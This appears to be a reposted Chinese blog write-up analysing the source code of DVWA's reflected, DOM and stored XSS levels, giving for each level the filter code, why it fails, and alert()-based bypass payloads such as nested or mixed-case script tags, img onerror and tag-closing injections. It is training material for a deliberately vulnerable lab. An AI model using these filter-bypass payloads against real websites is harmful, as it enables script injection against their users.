DVWA(xss部分源碼分析)


前言

DVWA靶場都不陌生,最新學習xss,從新又搞了一遍xss部分,從源碼方面康康xss的原因,參考了很多大佬的博客表示感謝
更多web安全知識歡迎訪問:https://lmg66.github.io/

環境配置

官網:http://www.dvwa.co.uk/
下載地址:https://github.com/ethicalhack3r/DVWA
下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA
下載完成放入http服務下即可
我使用的是phpstudy下載地址:https://m.xp.cn/

反射性xss

級別low

查看源碼:
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>
分析

name變量沒有過濾,直接輸出

payload

/vulnerabilities/xss_r/?name=<script>alert('xss')<%2Fscript>#

級別:Medium

查看源碼
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( '<script>', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>
分析

這里用正則表達過濾<scr/ipt>標簽,正則的匹配有缺陷大小問題,而且只是匹配了一次可以嵌套,而且只是過濾<scr/ipt>還可以用其他標簽代替來觸發反射性xss

payload
vulnerabilities/xss_r/?name=<Script>alert('xss')<%2FScript>#
vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3Dalert('XSS')>#
/vulnerabilities/xss_r/?name=<s<script>cript>alert('XSS')<%2Fscript>#



級別:high

查看源碼
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>
分析

不區分大小寫,而且通配符匹配,嵌套無法使用,可以嘗試其他標簽觸發彈窗

payload

/vulnerabilities/xss_r/?name=<img+src%3D"xss"+onerror%3Dalert('xss')>#

級別:impossible

查看源碼:
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$name = htmlspecialchars( $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>
分析

name變量通過htmlspecialchars()函數把預定的字符轉為HTML實體,且輸入到

標簽里,所以占時

DOM型xss

級別:low

查看源碼:
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
            <select name="default">
                <script>
                    if (document.location.href.indexOf("default=") >= 0) {
                        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                        document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
                        document.write("<option value='' disabled='disabled'>----</option>");
                    }
                    document.write("<option value='English'>English</option>");
                    document.write("<option value='French'>French</option>");
                    document.write("<option value='Spanish'>Spanish</option>");
                    document.write("<option value='German'>German</option>");
                </script>
            </select>
            <input type="submit" value="Select" />
        </form>
</div>
分析

lang變量通過document.location.href來獲取url,並沒有過濾就輸入到了option標簽中

payload

級別:Medium

查看源碼:
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>
分析

對default變量進行了過濾,通過stripos()函數查找<scr/ipt>在default中的位置(不區分大小寫),如果匹配到,則變為default=English,但是可以使用其他標簽來繞過,先要閉合和標簽

payload:
/vulnerabilities/xss_d/?default=English </option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />


級別:high

查看源碼:
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>
分析

使用白名單,進行匹配,如果值不為就default=English,但是只是對default進行了過濾,可以使用其他變量,document.location.href來獲取url,仍然會輸出到標簽中顯示,當然也可以用注釋符號#

payload:
/vulnerabilities/xss_d/?default=English&a=</option></select><img src=x onerror=alert('XSS')>
/vulnerabilities/xss_d/?default=English&a=?default=English&a=<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#<input onclick=alert('XSS') />
/vulnerabilities/xss_d/?default=English#</option></select><script>alert('xss')</script>)




級別:impossible

查看源碼:
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
	$decodeURI = "";
}
分析:

如果是impossible難度則decodeURI="",意思就是不解碼,那么標簽就會被過濾,無法閉合標簽和創建新標簽,所以無法xss

存儲型xss

級別:low

查看源碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>
分析:trim()函數 stripslashes() 函數 mysqli_real_escape_string() 函數只是對/類型的處理過濾轉碼,主要是對數據庫的保護並未設計的xss的內容,故可以直接xss



payload
name:Lmg66
message:<script>alert('xss')</script>

級別:medium

查看源碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>
分析:

對name用str_replace()是區分大小寫的,可以大寫繞過,只是匹配了一次可以嵌套繞過,也可以使用其他的標簽
對message,addslashes()函數在預定字符加/,strip_tags()函數剝去字符串中HTML,XML,以及php標簽,htmlspecialchars()函數預定的函數轉換為HTML實體,基本都過濾和轉義了,所以突破name變量,name變量限制了輸出長度,要F12更改name的maxlength



payload:
name:<Script>alert('xss')</script>
message:Lmg66
name:<s<script>cript>alert('xss')</script>
message:Lmg66
name:<img src='xss' onerror=alert('xss')>
message:Lmg66

級別:high

查看源碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>
分析:

對message和上一個一樣,沒希望突破,對name來說preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $name )之前反射型xss見過,不區分大小寫,通配符過濾,可以使用其他標簽,name同樣限制了長度,F12改一下maxlength="100"

payload:
name:<img src='xss' onerror=alert('xss')>
message:Lmg66

級別:impossible

查看源碼:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = stripslashes( $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$name = htmlspecialchars( $name );

	// Update database
	$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
	$data->bindParam( ':message', $message, PDO::PARAM_STR );
	$data->bindParam( ':name', $name, PDO::PARAM_STR );
	$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>
分析:

對name和message都進行了嚴格過濾
最后歡迎訪問我的個人博客:https://lnng.top/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM